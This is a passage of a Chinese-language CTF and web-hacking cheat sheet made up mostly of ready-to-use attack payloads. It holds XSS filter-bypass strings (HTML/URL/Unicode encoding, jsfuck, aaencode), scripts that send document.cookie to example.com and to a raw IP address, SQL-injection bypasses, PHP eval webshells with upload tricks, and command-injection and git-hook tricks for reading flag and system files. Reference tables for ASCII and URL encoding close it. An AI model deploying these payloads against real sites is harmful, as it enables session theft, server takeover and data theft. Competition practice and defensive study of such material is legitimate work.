- 替换关键字 alert confirm prompt - 分割关键词 > 此处特殊字符用url编码代替 #空白字符形式 alert%20(/xss/) #回车换行 alert%0a(/xss/) alert%0d(/xss/) #缩进 alert%09(/xss/) #注释 alert/*abcd*/(/xss/) #注释换行 alert//abcd%0a(/xss/) alert//abcd%0d(/xss/) #括号分割 (alert)(/xss/) ((alert))(/xss/) - window和top调用 window.alert(0) window['al'+'ert'](0) top['al'+'ert'](0) top.alert(0) #用法 <img src=x onerror="window['al'+'ert'](0)"></img> <img src=x onerror="window.alert(0)"></img> <img src=x onerror="top['al'+'ert'](0)"></img> <img src=x onerror="top.alert(0)"></img> - 动态调用 <input/onfocus=_=alert,_(123)> <input/onfocus=_=alert,xx=1,_(123)> <input/onfocus=_=alert;_(123)> <input/onfocus=_=alert;xx=1;_(123)> <input/onfocus=_=window['alert'],_(123)> <input/onfocus=_=window.alert,_(123)> <input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`> - 异常处理 <svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> <img src=1 onerror="window.onerror=eval;throw'=alert\x281\x29';"> - eval执行js <svg/onload=eval('ale'+'rt(1)')> - 关键字拼接 <svg/onload=location='javas'+'cript:ale'+'rt(1)'> <svg/onload=window.location='javas'+'cript:ale'+'rt(1)'> <svg/onload=location.href='javas'+'cript:ale'+'rt(1)'> <svg/onload=window.open('javas'+'cript:ale'+'rt(1)')> <svg/onload=location='javas'.concat('cript:ale','rt(1)')> - eval结合编码 <script>window['eval']("\x61\x6C\x65\x72\x74\x28\x31\x29")</script> <script>window['eval']("\141\154\145\162\164\050\061\051")</script> <script>window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script> - 大小写绕过 <sCriPt>alert(1);</scRiPt> - 双写绕过 针对服务器删除敏感字符的过滤 <sCrsCriPtiPt>alert(1);</scRsCriPtiPt>

3.关键词绕过之编码绕过

1、html编码绕过
javascript
<iframe src=javascript:alert(1)> 十进制html编码 <iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;> 十六进制html编码 <iframe src=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;> 不带分号形式 <iframe src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x31&#x29> 填充0的形式 <iframe src=&#x0006A&#x00061&#x00076&#x00061&#x00073&#x00063&#x00072&#x00069&#x00070&#x00074&#x0003A&#x00061&#x0006C&#x00065&#x00072&#x00074&#x00028&#x00031&#x00029> 部分关键字绕过 <iframe src=javas&#x09;cript:alert(1)></iframe> //Tab <iframe src=javas&#x0A;cript:alert(1)></iframe> //回车 <iframe src=javas&#x0D;cript:alert(1)></iframe> //换行 <iframe src=javascript&#x003a;alert(1)></iframe> //编码冒号 <iframe src=javasc&NewLine;ript&colon;alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持 <a href=javas&#x09;cript:alert(1)>
2、url编码
javascript
<a href="{here}">xx</a> <iframe src="{here}">

在src和href中可以进行URL编码,但是javascript:不能进行URL编码

javascript
<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a> <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>

二次URL编码

javascript
<iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529"></iframe>

结合16进制html编码

javascript
<iframe src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;%61%6c%65%72%74%28%31%29"></iframe>
3、Unicode编码

普通编码

php
<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus> <input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>

八进制及十六进制

php
<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')> <svg/onload=setTimeout('\141\154\145\162\164\050\061\051')> <svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')> <script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script> <script>eval("\141\154\145\162\164\050\061\051")</script> <script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
4、Base64编码绕过
php
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> <iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>

利用atob函数

php
<a%20href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a> <a%20href=javascript:eval(window.atob('YWxlcnQoMSk='))>Click</a> <a%20href=javascript:eval(window['atob']('YWxlcnQoMSk='))>Click</a>
5、String.fromCharCode

这个方法用于将unicode转换为字符串

php
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>

字符串转ascii脚本

php
def to_ascii(text): ascii_values = [ord(character) for character in text] return ascii_values text = "alert(1)" print(str(to_ascii(text)))
6、unicode+url+html

Unicode编码

php
<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>

URL编码

php
<a href=javascript:%2561%256c%2565%2572%2574%2528%2531%2529>Click</a>

HTML编码

php
<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>Click</a>

编码顺序:Unicode->URL->HTML

php
# Unicode <a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a> # Unicode+URL <a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a> # Unicode+URL+HTML <a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#49;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#52;&#51;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#53;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#50;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#52;&#40;&#49;&#41;>Click</a> <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65
7、jsfuck
php
<script>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])</script>
8、aaencode
php
<script>゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+/*´∇`*/(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+((o^_^o) - (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+(゚ー゚)+(゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+(c^_^o)+(゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+(゚Θ゚)+(゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+(゚Θ゚)+(゚Д゚)[゚o゚]) (゚Θ゚)) ('_');</script

7.xss发送请求

使用 Fetch API 发送 POST 请求

php
// 获取本地的 cookie const cookies = document.cookie; // 发送 POST 请求 fetch('https://example.com/api', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ cookies: cookies }) }) .then(response => response.json()) .then(data => console.log(data)) .catch(error => console.error('Error:', error));

使用 Fetch API 发送 GET 请求

php
// 获取本地的 cookie const cookies = document.cookie; // 发送 GET 请求 fetch(`https://example.com/api?cookies=${encodeURIComponent(cookies)}`, { method: 'GET', headers: { 'Content-Type': 'application/json', } }) .then(response => response.json()) .then(data => console.log(data)) .catch(error => console.error('Error:', error));

使用 XMLHttpRequest 发送 POST 请求

php
// 获取本地的 cookie const cookies = document.cookie; // 创建 XMLHttpRequest 对象 const xhr = new XMLHttpRequest(); xhr.open('POST', 'https://example.com/api', true); xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8'); // 处理响应 xhr.onload = function() { if (xhr.status >= 200 && xhr.status < 300) { console.log(JSON.parse(xhr.responseText)); } else { console.error('Error:', xhr.statusText); } }; // 发送请求 xhr.send(JSON.stringify({ cookies: cookies }));

使用 XMLHttpRequest 发送 GET 请求

php
// 获取本地的 cookie const cookies = document.cookie; // 创建 XMLHttpRequest 对象 const xhr = new XMLHttpRequest(); xhr.open('GET', `https://example.com/api?cookies=${encodeURIComponent(cookies)}`, true); xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8'); // 处理响应 xhr.onload = function() { if (xhr.status >= 200 && xhr.status < 300) { console.log(JSON.parse(xhr.responseText)); } else { console.error('Error:', xhr.statusText); } }; // 发送请求 xhr.send();
php
<script> fetch(`http://120.53.86.156:2345?cookie=${encodeURIComponent(document.cookie)}`); </script>

9.各种绕过bypass

1.sql注入

php
空格绕过: /**/ %09 //tab键 %0a () ^ //异或 引号绕过: hex编码 //mysql可解析hex 编码赋值 例: select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 逗号绕过 substr(database(),0,1) = substr(database() from 0 for 1) <>大小于号绕过: = //可用=去猜 like 可替换 = greatest(ascii(substr(database(),0,1)),100) 返回最大值 LEAST(1,2) 返回1 返回最小值 注释符绕过: ;%00 //;表示语句结尾 %00表示截断后面的字符 例: 1'union+select+1,database();%00 双写绕过 大小写绕过 过滤了select //查表 -1';show tables%23 //查字段 -1';show columns from `user`%23 //查数据 -1';handler `1919810931114514` open as toert;handler toert read next%23
php
结尾注释符绕过 Mysql 中常见的注释符 SQL 、# %23 --+或-- - ;%00 如果所有的注释符全部被过滤了,把我们还可以尝试直接使用引号进行闭合,这种方 法很好用。 字符串变换绕过 SQL # 大小写绕过 -1' UnIoN SeLeCt 1,2,database()--+ # 双写绕过 -1' uniunionon selselectect 1,2,database()--+ # 字符串拼接绕过 1';set @a=concat("sel","ect * from users");prepare sql from @a;execute sql; 过滤 and、or 绕过 管道符 SQL and => && or => || 使用^进行异或盲注绕过 > 异或运算规则: > > 1^1=0 0^0=0 0^1=1 > > 1^1^1=0 1^1^0=0 > > 构造 payload:'^ascii(mid(database(),1,1)=98)^0 > > > 注意这里会多加一个^01 是因为在盲注的时候可能出现了语法错误也无法判断,而改 变这里的 01,如果返回的结果是不同的,那就可以证明语法是没有问题的. 过滤空格绕过 以下字符可以代替空格: SQL # 使用注释符/**/代替空格: select/**/database(); # 使用加号+代替空格:(只适用于 GET 方法中) select+database(); # 注意: 加号+在 URL 中使⽤记得编码为%2B: select%2Bdatabase(); (python 中不用) # 使⽤括号嵌套: select(group_concat(table_name))from(information_schema.taboles)wh ere(tabel_schema=database()); # 使⽤其他不可⻅字符代替空格: %09, %0a, %0b, %0c, %0d, %a0 #利用``分隔进行绕过 select host,user from user where user='a'union(select`table_name`,`table_type`from`information_sche ma`.`tables`); 同时任然可以利用异或符号进行盲注,我 i 们可以看到上面的 payload 中完全可以不存 在空格。 过滤括号绕过 利用 order by 进行布尔盲注 上面有 过滤比较符号(=、<、>)绕过 比较符号一般也只出现在盲注中,所以都尽可能搭配了脚本。

2.文件上传

php
文件头绕过:GIF89a 文件类型绕过:content-type: image/jpeg 无<?一句话 <script language="php">eval($_POST[a]);</script> 黑名单:大小写、php3、php4、php5、phtml、.htaccess等绕过 无php一句话:<?=@eval($_POST['a']);?> 白名单绕过:图片马+文件包含 copy 1.png/b + 1.php/a 2.png 中间件漏洞:(post不会url解码) %00截断:a.php%00.jpg 上传目录可控 .htaccess <FilesMatch "pte.jpg"> SetHandler application/x-httpd-php </FilesMatch> 竞争上传(upload-loabs18关) <?php fputs(fopen('../shell.php','w'),'<?php eval($_POST['a']);?>');?>

3.文件读写

php
ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sort|cut|xxd
php
过滤了cat命令: 可以使用一下读文件命令: cat:由第一行开始显示内容,并将所有内容输出 tac:从最后一行倒序显示内容,并将所有内容输出 more:根据窗口大小,一页一页的现实文件内容 less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head:只显示头几行 tail:只显示最后几行 nl:类似于cat -n,显示时输出行号 tailf:类似于tail -f sort%20/flag 读文件 od -a key.php //将文件内容以ASCII码的形式输出,并显示每个ASCII码对应的名字。这个命令可以帮助用户更好地理解文件内容,特别是文本文件 diff /flag.txt /etc/passwd curl file:///flag sed -n "p" /flag bzless /flag bzmore /flag cd ..&& cd ..&&cd ..&&pwd&&more [^b][^b][^b][^b] 变量拼接读取文件: 拼接读取: a=ke;b=y.php;cat $a$b 127.0.0.1;a=ke;b=y.php;cat ../$a$b 编码读取文件: echo "Y2F0IGZsYWcucGhw" | base64 -d|sh 过滤了空格可用以下代替: $IFS代替空格 $IFS$9 %09 urr编码tab键 windows系统,代替空格 $^ 表示所有的依赖文件 $@ 表示生成的目标文件 $< 代表第一个依赖文件 通配符、转义符绕过过滤:?号代表单个字符 *代表多个字符 c'a't key.php c"a"t key.php c\at key.* cat `ls` cat${IFS}flag.txt cat$IFS$1flag.txt cat${IFS}$1flag.txt cat${IFSflag.txt cat<flag.txt cat<>flag.txt cat%09flag.txt 写入一句话: echo "<?php eval(\$_POST['a']);?>" > a.php //\转义$符 编码写入: "<?php eval($_POST['a']);?> echo "PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4="|base64 -d|tee a.php 写入一句话: echo "<?php eval(\$_POST['a']);?>" > a.php //\转义$符 过滤了flag关键字——内联执行反引号: cat `ls` //打印当前目录下的所有文件内容 nl /*>a 虽然之前hitcon的题已经解释过了,这里再简单解释一下,nl是一个linux里读取文件内容的命令,/*就是根目录下的所有文件,>+fileanme来实现新建一个文件(>是覆盖,>>是追加),所以我这行命令意思就是读取根目录下所有文件并导入文件a种,然后访问6574a4b0-8acb-4f2d-a23c-45bc408ed17a.challenge.ctf.show/api/a即可拿到flag

gish

  • 当一个shell只能执行git相关命令时,仍然可以利用git hooks执行任意命令。
git init //初始化一个git仓库 git config --global user.email "" git config --global user.name "" //配置用户设置。配置后才能执行commit git config -f .gitconfig core.hooksPath hooks //告诉git使用配置在hooks目录下的文件作为hook git config --local alias.pre-commit '!echo $(cat /flag-*)' //设置一个alias pre-commit,其运行时会打印flag文件的内容 git config --local include.path ../.gitconfig //加载刚才配置好的gitconfig git pre-commit //运行触发hook

不使用hook

  • 任意文件读取
git config --global user.email "" git config --global user.name "" git init .. //此题flag在上层目录,于是把仓库init到上层目录 git add ../flag* //添加flag文件 git commit -m 'a' git show ../flag* //展示commit的文件,也就是flag

  • getshell。之后cat /flag* >&2获取flag
git --git-dir '.;bash;' init git init git add . git config --global user.email '' git config --global user.name '' git commit --allow-empty-message -m '' git cache-meta --store git cache-meta --apply

  • 直接添加flag文件 commit后查看
git init ../ git config --global user.email "" git add --ignore-errors ../flag* git commit -m "" git show

  • 利用core.pager
git clone https://github.com/[REDACTED]/[REDACTED] git -C [REDACTED] -c core.pager="cat /flag* # " grep --open-files-in-pager

git仓库里至少要有一个文件才能运行以上命令(这也是为什么开头要git clone)。要是在服务器上已知一个文件,可以git init;git add,一样的效果。

`-C` is a flag used to run a command in a specific directory. In this case, it specifies that the following command should be run in the directory specified by `[REDACTED]`. `-c` is a flag used to set a Git configuration variable. In this case, it sets the `core.pager` variable to `"cat /flag* # "`, which means that any Git command that would normally display output in a pager (such as less or more) will instead display the contents of any files that match the pattern `/flag*` followed by a comment character (#). grep is a command used to search for a pattern in a file. In this case, the `--open-files-in-pager` flag tells Git to use the pager specified by the `core.pager` variable (which we set to `cat /flag* #` ) to display any files that match the pattern specified by the grep command

  • 利用alias
git config --global alias.bruh '!cat /flag-*' git bruh

  • 利用worktree
First create the local repository git init Then allow files outside: git config --local core.worktree / Add the flag file: git add "/flag*" (optional) list if the file was added correctly git ls-files / Get the hash of the file git cat-file --batch-check --batch-all-objects Commit the file git commit List the contents of the flag file :) git show <hash>

类似题目:GitMeow

本地运行一个host服务器,然后把payload传给题目:https://github.com/TJCSec/tjctf-2023-challenges/tree/main/misc/gish

4.特殊字符绕过限制

php
在电子邮件末尾添加空字节 ( %00 ) 有时可以绕过限制。 尝试在电子邮件后添加空格字符。(未编码) 一些有助于绕过速率限制的常用字符:%0d、%2e、%09、%20、%0、%00、%0d%0a、%0a、%0C 比如email=abc@g.com,a&password=password123 在 api 地址末尾添加斜杠(/)也可以绕过限制。 http://target/v1/login————>http://target/v1/login/

5.ASCII 表

$ man ascii Oct Dec Hex Char Oct Dec Hex Char ──────────────────────────────────────────────────────────────────────── 000 0 00 NUL '\0' (null character) 100 64 40 @ 001 1 01 SOH (start of heading) 101 65 41 A 002 2 02 STX (start of text) 102 66 42 B 003 3 03 ETX (end of text) 103 67 43 C 004 4 04 EOT (end of transmission) 104 68 44 D 005 5 05 ENQ (enquiry) 105 69 45 E 006 6 06 ACK (acknowledge) 106 70 46 F 007 7 07 BEL '\a' (bell) 107 71 47 G 010 8 08 BS '\b' (backspace) 110 72 48 H 011 9 09 HT '\t' (horizontal tab) 111 73 49 I 012 10 0A LF '\n' (new line) 112 74 4A J 013 11 0B VT '\v' (vertical tab) 113 75 4B K 014 12 0C FF '\f' (form feed) 114 76 4C L 015 13 0D CR '\r' (carriage ret) 115 77 4D M 016 14 0E SO (shift out) 116 78 4E N 017 15 0F SI (shift in) 117 79 4F O 020 16 10 DLE (data link escape) 120 80 50 P 021 17 11 DC1 (device control 1) 121 81 51 Q 022 18 12 DC2 (device control 2) 122 82 52 R 023 19 13 DC3 (device control 3) 123 83 53 S 024 20 14 DC4 (device control 4) 124 84 54 T 025 21 15 NAK (negative ack.) 125 85 55 U 026 22 16 SYN (synchronous idle) 126 86 56 V 027 23 17 ETB (end of trans. blk) 127 87 57 W 030 24 18 CAN (cancel) 130 88 58 X 031 25 19 EM (end of medium) 131 89 59 Y 032 26 1A SUB (substitute) 132 90 5A Z 033 27 1B ESC (escape) 133 91 5B [ 034 28 1C FS (file separator) 134 92 5C \ '\\' 035 29 1D GS (group separator) 135 93 5D ] 036 30 1E RS (record separator) 136 94 5E ^ 037 31 1F US (unit separator) 137 95 5F _ 040 32 20 SPACE 140 96 60 ` 041 33 21 ! 141 97 61 a 042 34 22 " 142 98 62 b 043 35 23 # 143 99 63 c 044 36 24 $ 144 100 64 d 045 37 25 % 145 101 65 e 046 38 26 & 146 102 66 f 047 39 27 ' 147 103 67 g 050 40 28 ( 150 104 68 h 051 41 29 ) 151 105 69 i 052 42 2A * 152 106 6A j 053 43 2B + 153 107 6B k 054 44 2C , 154 108 6C l 055 45 2D - 155 109 6D m 056 46 2E . 156 110 6E n 057 47 2F / 157 111 6F o 060 48 30 0 160 112 70 p 061 49 31 1 161 113 71 q 062 50 32 2 162 114 72 r 063 51 33 3 163 115 73 s 064 52 34 4 164 116 74 t 065 53 35 5 165 117 75 u 066 54 36 6 166 118 76 v 067 55 37 7 167 119 77 w 070 56 38 8 170 120 78 x 071 57 39 9 171 121 79 y 072 58 3A : 172 122 7A z 073 59 3B ; 173 123 7B { 074 60 3C < 174 124 7C | 075 61 3D = 175 125 7D } 076 62 3E > 176 126 7E ~ 077 63 3F ? 177 127 7F DEL Tables For convenience, below are more compact tables in hex and decimal. 2 3 4 5 6 7 30 40 50 60 70 80 90 100 110 120 ------------- --------------------------------- 0: 0 @ P ` p 0: ( 2 < F P Z d n x 1: ! 1 A Q a q 1: ) 3 = G Q [ e o y 2: " 2 B R b r 2: * 4 > H R \ f p z 3: # 3 C S c s 3: ! + 5 ? I S ] g q { 4: $ 4 D T d t 4: " , 6 @ J T ^ h r | 5: % 5 E U e u 5: # - 7 A K U _ i s } 6: & 6 F V f v 6: $ . 8 B L V ` j t ~ 7: ' 7 G W g w 7: % / 9 C M W a k u DEL 8: ( 8 H X h x 8: & 0 : D N X b l v 9: ) 9 I Y i y 9: ' 1 ; E O Y c m w A: * : J Z j z B: + ; K [ k { C: , < L \ l | D: - = M ] m } E: . > N ^ n ~ F: / ? O _ o DEL

URL 编码参考手册

浏览器将根据页面中使用的字符集对输入进行编码。

HTML5 中的默认字符集为 UTF-8。

字符来自 Windows-1252来自 UTF-8
space%20%20
!%21%21
"%22%22
#%23%23
$%24%24
%%25%25
&%26%26
'%27%27
(%28%28
)%29%29
*%2A%2A
+%2B%2B
,%2C%2C
-%2D%2D
.%2E%2E
/%2F%2F
0%30%30
1%31%31
2%32%32
3%33%33
4%34%34
5%35%35
6%36%36
7%37%37
8%38%38
9%39%39
:%3A%3A
;%3B%3B
<%3C%3C
=%3D%3D
>%3E%3E
?%3F%3F
@%40%40
A%41%41
B%42%42
C%43%43
D%44%44
E%45%45
F%46%46
G%47%47
H%48%48
I%49%49
J%4A%4A
K%4B%4B
L%4C%4C
M%4D%4D
N%4E%4E
O%4F%4F
P%50%50
Q%51%51
R%52%52
S%53%53
T%54%54
U%55%55
V%56%56
W%57%57
X%58%58
Y%59%59
Z%5A%5A
[%5B%5B
\%5C%5C
]%5D%5D
^%5E%5E
_%5F%5F
`%60%60
a%61%61
b%62%62
c%63%63
d%64%64
e%65%65
f%66%66
g%67%67
h%68%68
i%69%69
j%6A%6A
k%6B%6B
l%6C%6C
m%6D%6D
n%6E%6E
o%6F%6F
p%70%70
q%71%71
r%72%72
s%73%73
t%74%74
u%75%75
v%76%76
w%77%77
x%78%78
y%79%79
z%7A%7A
{%7B%7B
|%7C%7C
}%7D%7D
~%7E%7E
%7F%7F
`%80%E2%82%AC
%81%81
%82%E2%80%9A
ƒ%83%C6%92
%84%E2%80%9E
%85%E2%80%A6
%86%E2%80%A0
%87%E2%80%A1
ˆ%88%CB%86
%89%E2%80%B0
Š%8A%C5%A0
%8B%E2%80%B9
Œ%8C%C5%92
%8D%C5%8D
Ž%8E%C5%BD
%8F%8F
%90%C2%90
%91%E2%80%98
%92%E2%80%99
%93%E2%80%9C
%94%E2%80%9D
%95%E2%80%A2
%96%E2%80%93
%97%E2%80%94
˜%98%CB%9C
%99%E2%84
š%9A%C5%A1
%9B%E2%80
œ%9C%C5%93
%9D%9D
ž%9E%C5%BE
Ÿ%9F%C5%B8
%A0%C2%A0
¡%A1%C2%A1
¢%A2%C2%A2
£%A3%C2%A3
¤%A4%C2%A4
¥%A5%C2%A5
¦%A6%C2%A6
§%A7%C2%A7
¨%A8%C2%A8
©%A9%C2%A9
ª%AA%C2%AA
«%AB%C2%AB
¬%AC%C2%AC
­%AD%C2%AD
®%AE%C2%AE
¯%AF%C2%AF
°%B0%C2%B0
±%B1%C2%B1
²%B2%C2%B2
³%B3%C2%B3
´%B4%C2%B4
µ%B5%C2%B5
%B6%C2%B6
·%B7%C2%B7
¸%B8%C2%B8
¹%B9%C2%B9
º%BA%C2%BA
»%BB%C2%BB
¼%BC%C2%BC
½%BD%C2%BD
¾%BE%C2%BE
¿%BF%C2%BF
À%C0%C3%80
Á%C1%C3%81
